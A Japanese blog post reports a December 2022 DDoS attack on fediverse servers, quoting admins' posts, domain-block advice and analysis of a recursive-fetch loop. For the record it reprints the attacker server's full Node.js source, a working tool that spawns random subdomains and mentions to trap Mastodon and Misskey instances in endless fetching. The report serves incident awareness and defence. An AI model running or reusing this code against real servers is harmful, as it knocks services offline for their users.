概要
2022-12-03 Sat 16:00 (JST) 頃から分散SNSの大型サーバーを中心にDDoS攻撃があったようで、話題でしたので紹介します。
概要は以下となります。
分散SNSが通信を行うことを利用して、無差別フォローやメンションという通常操作を大量に行う負荷攻撃のようでした。サブドメインは無尽蔵に作成できることを利用して、これらのサブドメインの大量のサーバー・ユーザーに無差別フォロー・メンションができたようです。また、アカウント削除はサーバーへの負荷が大きいようです。
また、参照データ (返信ツリーなど) の再帰取得は最初にMisskeyで攻撃されて、それがMastodonにも適用されているようです (forkbomb DOS mitigation by mei23 · Pull Request #4214 · mei23/misskey · GitHub)。
このような外部から指示や制御を行う攻撃サーバーを使った C&C (Commannd and Control Server) 形式の攻撃というらしいです (C&Cサーバー | サイバーセキュリティ情報局)。
mstdn.jpなどが攻撃を受けて、500エラーにより一時アクセス困難になったようです。
以下の2投稿が今回の問題を一番端的に説明していたように感じます。
Kris Nóva :nova: (nova@hachyderm.io)’s status on Monday, 05-Dec-2022 22:08:49 JSTKris Nóva :nova: Our notes from incident response.
特に2個目のこちらの投稿がレポート記事「Context – HackMD」を公開してくれており、助かりました。
1個目の投稿はおそらく一連の騒動の初期の告知と思われます。時差があるので、少々時系列がややこしいのですが…
なお、「Any idea to stop activitypub-troll.cf or likewise attacks? · Issue #21977 · mastodon/mastodon · GitHub」で対策が議論されています。根本的・決定的な解決はまだのようです。
告知
整理が少々難しいのですが、内容ごとに反響を紹介します。
まず、以下の投稿群で攻撃元や今回の事件のレポート、最初の告知元などが紹介されていました。
藤井太洋, Taiyo Fujii (taiyo@ostatus.taiyolab.com)’s status on Sunday, 04-Dec-2022 08:46:42 JST藤井太洋, Taiyo Fujii 昨日、マストドンサーバーに対する攻撃として注目を集めた activitypub-troll.cf ですが、他にも類似の攻撃を行うドメインがあるようです。
*.activitypub-troll.cf
*.misskey-forkbomb.cf
*.repl.cohachyderm.io のアドミン @nova が報告しています。
Kris Nóva :nova: (nova@hachyderm.io)’s status on Sunday, 04-Dec-2022 09:11:11 JSTKris Nóva :nova: The best advice for any #mastoadmin is to “suspend” the following domains in their preferences>moderation>federation>add new domain block
*.activitypub-troll.cf
*.misskey-forkbomb.cf
*.repl.co
Kris Nóva :nova: (nova@hachyderm.io)’s status on Monday, 05-Dec-2022 21:25:28 JSTKris Nóva :nova: Please see my entire thread for more details.
After the initial steps, A domain block is the next step, and cleaning your databases is a final step.
Kris Nóva :nova: (nova@hachyderm.io)’s status on Monday, 05-Dec-2022 21:44:16 JSTKris Nóva :nova: We are currently investigating DDoS attacks which involve #Hachyderm. I will continue to post in the thread below.
中国での被害
以下の投稿で中国ユーザーの攻撃被害や、攻撃内容の概要が紹介されていました。
藤井太洋, Taiyo Fujii (taiyo@ostatus.taiyolab.com)’s status on Sunday, 04-Dec-2022 08:56:39 JST藤井太洋, Taiyo Fujii 件のマストドン攻撃に関しては @strawberry さん報告で機序がよくまとまっています。
草莓酱? :verified: (strawberry@m.cmx.im)’s status on Sunday, 04-Dec-2022 10:54:09 JST草莓酱? :verified: Mastodon的ActivityPub实现中的一个安全漏洞被利用来攻击Mastodon网站,本站也受到影响——公共时间线在很长一段时间内持续充斥着垃圾帖子和用户,大大消耗了服务器资源。目前,我们已经封锁了恶意滥用该漏洞的域名及其28,000余个随机子域。根据用户反馈,该安全漏洞是由本站站内用户搜索恶意实例的用户引起的,每次都会返回2个随机用户名,由于Mastodon缺乏对递归的限制,导致服务器陷入无限抓取的循环。
Ref: https://fedibird.com/users/yustier/statuses/109448938246497764
HyoYoshikawa (hyoyoshikawa@toot.blue)’s status on Monday, 05-Dec-2022 21:27:38 JSTHyoYoshikawa 例によって機械翻訳を貼ります
MastodonのActivityPub実装のセキュリティバグがMastodonサイトを攻撃するために利用され、当サイトも影響を受けました。公共タイムラインは長い間ゴミ投稿とユーザーでいっぱいになり、サーバー資源を大幅に消費しました。現在、私たちはこの脆弱性を悪意的に悪用したドメインとその28,000個余りのランダムサブドメインをブロックしました。ユーザーのフィードバックによると、このセキュリティバグは当サイト内のユーザーが悪意のある実例を検索したユーザーによって引き起こされ、毎回2つのランダムユーザー名が返されます。Mastodonの再帰に対する制限がないため、サーバーが無限捕獲の循環に陥ります。
国内での発見
以下の投稿などで2022-12-03 16:00頃に発生したことが観測されたことが、日本での初観測だったのではないかと思われます。
ぽむ@深淵の底 (nippon@mstdn-dystopia.com)’s status on Monday, 05-Dec-2022 21:33:15 JSTぽむ@深淵の底 なんかsocialの本家鯖とか連合経由であやしい連投botがどんどんToot送ってきて重くなってるみたいで多分jpもそれ食らったのではという見立て。(
その他、今回の件について以下の投稿で警告告知されていました。
(dribideF) 碌藍 (yustier@fedibird.com)’s status on Saturday, 03-Dec-2022 19:35:47 JST(dribideF) 碌藍 凝るなどした
仕組
今回の攻撃内容についていくつか考察がありました。
kphrx (kpherox@pl.kpherox.dev)’s status on Monday, 05-Dec-2022 22:47:21 JSTkphrx activitypub-troll.cf開いたらnode.jsっぽいコードがテキストで表示されてて笑ってる
攻撃元ドメインにアクセスすると攻撃コードらしきものが表示されるそうです。コードの全文は以下でした。記録のために掲載します。
var code = require("fs").readFileSync(__filename, "utf8");
var rand = () => (Math.floor(Math.random() * 1e13)).toString(36);
var server = require("http").createServer(function(req, res) {
try {
if (!process.env.PROD) console.log(new Date().toLocaleString(), req.headers["x-forwarded-for"], req.headers.host, req.url, '"'+req.headers["user-agent"]+'"');
if (req.url.startsWith("/.well-known/webfinger?resource=acct")) {
var c = decodeURIComponent(req.url.substring(36));
var name = c.substring(1, c.indexOf("@"));
res.writeHead(200, {"Content-Type": "application/json; charset=utf-8"});
res.end(JSON.stringify({
"aliases": [
"https://"+req.headers.host+"/users/"+name+""
],
"links": [
{
"href": "https://"+req.headers.host+"/users/"+name+"",
"rel": "http://webfinger.net/rel/profile-page",
"type": "text/html"
},
{
"href": "https://"+req.headers.host+"/users/"+name+"",
"rel": "self",
"type": "application/activity+json"
},
{
"href": "https://"+req.headers.host+"/users/"+name+"",
"rel": "self",
"type": "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\""
},
{
"rel": "http://ostatus.org/schema/1.0/subscribe",
"template": "https://"+req.headers.host+"/ostatus_subscribe?acct={uri}"
}
],
"subject": "acct:"+name+"@"+req.headers.host+""
}))
}
else if (req.url.startsWith("/users/")) {
var t = req.url.indexOf('/', 7);
if (t === -1) t = undefined;
else var suburl = req.url.substring(t);
var user = req.url.substring(7, t);
if (!suburl) {
res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
res.end(JSON.stringify({
"@context": [
"https://www.w3.org/ns/activitystreams",
"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
{
"@language": "und"
}
],
"alsoKnownAs": [],
"attachment": [],
"capabilities": {},
"discoverable": false,
"endpoints": {
"oauthAuthorizationEndpoint": "https://"+req.headers.host+"/oauth/authorize",
"oauthRegistrationEndpoint": "https://"+req.headers.host+"/api/v1/apps",
"oauthTokenEndpoint": "https://"+req.headers.host+"/oauth/token",
"sharedInbox": "https://"+req.headers.host+"/inbox",
"uploadMedia": "https://"+req.headers.host+"/api/ap/upload_media"
},
"featured": "https://"+req.headers.host+"/users/"+user+"/collections/featured",
"followers": "https://"+req.headers.host+"/users/"+user+"/followers",
"following": "https://"+req.headers.host+"/users/"+user+"/following",
"id": "https://"+req.headers.host+"/users/"+user+"",
"inbox": "https://"+req.headers.host+"/users/"+user+"/inbox",
"manuallyApprovesFollowers": false,
"name": ""+user+"",
"outbox": "https://"+req.headers.host+"/users/"+user+"/outbox",
"preferredUsername": ""+user+"",
"publicKey": {
"id": "https://"+req.headers.host+"/users/"+user+"#main-key",
"owner": "https://"+req.headers.host+"/users/"+user+"",
"publicKeyPem": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyjLSiDyjfusFC9Tvnc76\nVJjHZxOVXpdM/AExMdY9pSN0Su5EezdiOInfEpWIhtb+NQWWhWhvdXEl+i8JWw0K\n35oyq+I/QFrNF/hIO/zDlzOb/aVTaIqXvpZvP6ShZtQXP5cNF6s+ViPujq1yLnYb\nXKcauxThGKn9FkcP0mf2+ATN2QmQVk/01qlclLM7GsKaN1Q19JNYH9+zXDfcVilK\n0ZUizubEBZBG/bwIYPid7tn9EY8NkAVHpOxShOdyNpdQBf8tdZy4NKLPZxoVhPPr\nAVlkpczH6WuFRF/njQnF0cTzphVyW3qK9fSsx4uHNrWGOM77oE5RfCRAHytriS9G\nsQIDAQAB\n-----END PUBLIC KEY-----\n\n"
},
"summary": "",
"tag": [],
"type": "Person",
"url": "https://"+req.headers.host+"/users/"+user+""
}));
} else if (suburl === "/collections/featured") {
var noteid = rand();
var at1 = rand(), at2 = rand();
var h = req.headers.host.split('.');
if (h.length === 3) {
var atd1 = [rand(), h[1], h[2]].join('.');
var atd2 = [rand(), h[1], h[2]].join('.');
} else {
var atd1 = req.headers.host, atd2 = req.headers.host;
}
res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
res.end(JSON.stringify({
"@context": [
"https://www.w3.org/ns/activitystreams",
"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
{
"@language": "und"
}
],
"id": "https://"+req.headers.host+"/users/"+user+"/collections/featured",
"orderedItems": [
{
"@context": [
"https://www.w3.org/ns/activitystreams",
"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
{
"@language": "und"
}
],
"actor": "https://"+req.headers.host+"/users/"+user+"",
"attachment": [],
"attributedTo": "https://"+req.headers.host+"/users/"+user+"",
"cc": [
"https://"+req.headers.host+"/users/"+user+"/followers"
],
"content": "<span class=\"h-card\"><a class=\"u-url mention\" data-user=\"x\" href=\"https://"+atd1+"/users/"+at1+"\" rel=\"ugc\">@<span>"+at1+"</span></a></span> <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"y\" href=\"https://"+atd2+"/users/"+at2+"\" rel=\"ugc\">@<span>"+at2+"</span></a></span>",
//"context": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
//"conversation": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
"id": "https://"+req.headers.host+"/users/"+user+"/objects/"+noteid,
"published": "2022-12-03T06:55:32.991Z",
"sensitive": null,
"source": {
"content": "@"+at1+" @"+at2+"",
"mediaType": "text/plain"
},
"summary": "",
"tag": [
{
"href": "https://"+atd1+"/users/"+at1+"",
"name": "@"+at1+"",
"type": "Mention"
},
{
"href": "https://"+atd2+"/users/"+at2+"",
"name": "@"+at2+"",
"type": "Mention"
}
],
"to": [
"https://www.w3.org/ns/activitystreams#Public",
"https://"+atd1+"/users/"+at1+"",
"https://"+atd2+"/users/"+at2+""
],
"type": "Note"
}
],
"totalItems": 1,
"type": "OrderedCollection"
}));
} else if (suburl.startsWith("/objects/")) {
var noteid = suburl.substring(9);
var at1 = rand(), at2 = rand();
var h = req.headers.host.split('.');
if (h.length === 3) {
var atd1 = [rand(), h[1], h[2]].join('.');
var atd2 = [rand(), h[1], h[2]].join('.');
} else {
var atd1 = req.headers.host, atd2 = req.headers.host;
}
res.writeHead(200, {"Content-Type": "application/activity+json; charset=utf-8"});
res.end(JSON.stringify({
"@context": [
"https://www.w3.org/ns/activitystreams",
"https://"+req.headers.host+"/schemas/litepub-0.1.jsonld",
{
"@language": "und"
}
],
"actor": "https://"+req.headers.host+"/users/"+user+"",
"attachment": [],
"attributedTo": "https://"+req.headers.host+"/users/"+user+"",
"cc": [
"https://"+req.headers.host+"/users/"+user+"/followers"
],
"content": "<span class=\"h-card\"><a class=\"u-url mention\" data-user=\"x\" href=\"https://"+atd1+"/users/"+at1+"\" rel=\"ugc\">@<span>"+at1+"</span></a></span> <span class=\"h-card\"><a class=\"u-url mention\" data-user=\"y\" href=\"https://"+atd2+"/users/"+at2+"\" rel=\"ugc\">@<span>"+at2+"</span></a></span>",
//"context": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
//"conversation": "https://"+req.headers.host+"/contexts/5abd9cff-a8d5-43e3-85b0-53a3c2e16f23",
"id": "https://"+req.headers.host+"/users/"+user+"/objects/"+noteid,
"published": "2022-12-03T06:55:32.991Z",
"sensitive": null,
"source": {
"content": "@"+at1+" @"+at2+"",
"mediaType": "text/plain"
},
"summary": "",
"tag": [
{
"href": "https://"+atd1+"/users/"+at1+"",
"name": "@"+at1+"",
"type": "Mention"
},
{
"href": "https://"+atd2+"/users/"+at2+"",
"name": "@"+at2+"",
"type": "Mention"
}
],
"to": [
"https://www.w3.org/ns/activitystreams#Public",
"https://"+atd1+"/users/"+at1+"",
"https://"+atd2+"/users/"+at2+""
],
"type": "Note"
}));
} else {
res.writeHead(404);
res.end();
}
}
else if (req.url === "/") {
res.writeHead(200, {"Content-Type": "text/javascript"});
res.end(code);
}
else {
res.writeHead(404);
res.end();
}
} catch (error) {
if (!process.env.PROD) console.error(error.message);
res.writeHead(500);
res.end();
}
});
server.listen(80);
:oneseta: @新学期やめての会 (ars42525@odakyu.app)’s status on Monday, 05-Dec-2022 22:48:31 JST:oneseta: @新学期やめての会 コード読んだけど概ねこの通りの実装になってるね
~~~~~~~~~~
[https://odakyu.app/@ars42525/109448793706472900]
kphrx (kpherox@pl.kpherox.dev)’s status on Monday, 05-Dec-2022 21:34:23 JSTkphrx 無限に自分のドメインのactorを認識させまくってfetchつまらせにくるやつか。reject domainに突っ込んどこう
:oneseta: @新学期やめての会 (ars42525@odakyu.app)’s status on Saturday, 03-Dec-2022 17:40:50 JST:oneseta: @新学期やめての会 アカウントをフェッチする -> 固定投稿を引っ張る -> 固定投稿にメンションがある -> メンション先を取る -> 固定投稿を取る の無限ループになってる
:oneseta: @新学期やめての会 (ars42525@odakyu.app)’s status on Monday, 05-Dec-2022 21:36:15 JST:oneseta: @新学期やめての会 暫定対応としてドメブロしたほうがいいがこのソースコードで無限にドメイン増やせるのが危険だな
件のトロール鯖ですが、ドメインを「@(ランダム)@(ランダム) activitypub-troll. cf」のようなアカウントを用いて自動投稿を繰り返してる。ユーザーページに飛ぶとこんな感じ。
— 来栖@ぱふチル (@bg_adv) December 3, 2022
固定投稿にメンションを飛ばしてゴニョゴニョしてるっぽいけどよく分からん#Mastodon #マストドン #トロール鯖 pic.twitter.com/D9oQYgnQE4
:oneseta: @新学期やめての会 (ars42525@odakyu.app)’s status on Monday, 05-Dec-2022 22:52:23 JST:oneseta: @新学期やめての会 ドメイン部分もランダム生成されてる、これドメブロすらできねぇわ
詳細は理解していませんが、node.jsのコードで、ランダムなサブドメインの生成、自動投稿、メンションなどを行っているそうです。
GNU socialにはドメインブロックがないので、私はドメインブロック機能の詳細を把握していませんが、ワイルドカードドメインブロックができないそうで、ドメインブロックも難しいそうです。
Misskeyの脆弱性
参照データの再帰取得の負荷攻撃は最初にMisskeyでみつかったそうです。
2022-12-03にMisskeyにForkbombという脆弱性がみつかり、v12.119.1で修正されたそうです。
Misskeyで投稿の再帰取得に関する脆弱性があったそうで「forkbomb DOS mitigation by mei23 · Pull Request #4214 · mei23/misskey · GitHub」で議論されていました。
結論
分散SNSで広くなされたDDoS攻撃でした。
このような大規模な攻撃は久しぶりだったように思います。10月末のTwitter買収を受けて、ユーザー数が増えて活況で負荷も高まっていたこともあり、特に大型サーバーを中心に影響があったようです。
今回の攻撃は、分散SNSの通常の操作の範囲内なので、少々対策が難しいのかもしれません。
現在の状況がよくわかっていませんが、周知されてドメインブロックやボットアカウントの削除などで落ち着いたようにみえます。もうしばらく状況に注意します。
騒動の初動で、私は先日の「告知: Misskey.ioからのドメインブロック | GNU social JP」の記事について、私への反対派とレスバトルを行っており、全く気づきませんでした。
フォロー数が最近は多く、ドメインブロックもあり、事件などの把握がやや遅れがちです。敏感なユーザーを特別にウォッチして、キャッチアップできるように努めます。
詳細プロフィール。SNS: Twitter/GS=gnusocialjp@gnusocial.jp/WP=gnusocialjp@web.gnusocial.jp。2022-07-17からgnusocial.jpとweb.gnusocial.jpのサイトを運営しています。WordPressで分散SNSに参加しています。このアカウントの投稿に返信すると、サイトのコメント欄にも反映されます。
コメント
[…] 、新規登録を一時停止していたようです。攻撃内容的に「速報: 分散SNSでの無差別フォロー・メンション・再帰取得によるDDoS攻撃 | GNU social JP」で紹介した攻撃に近いように感じました。 […]
This Article was mentioned on web.gnusocial.jp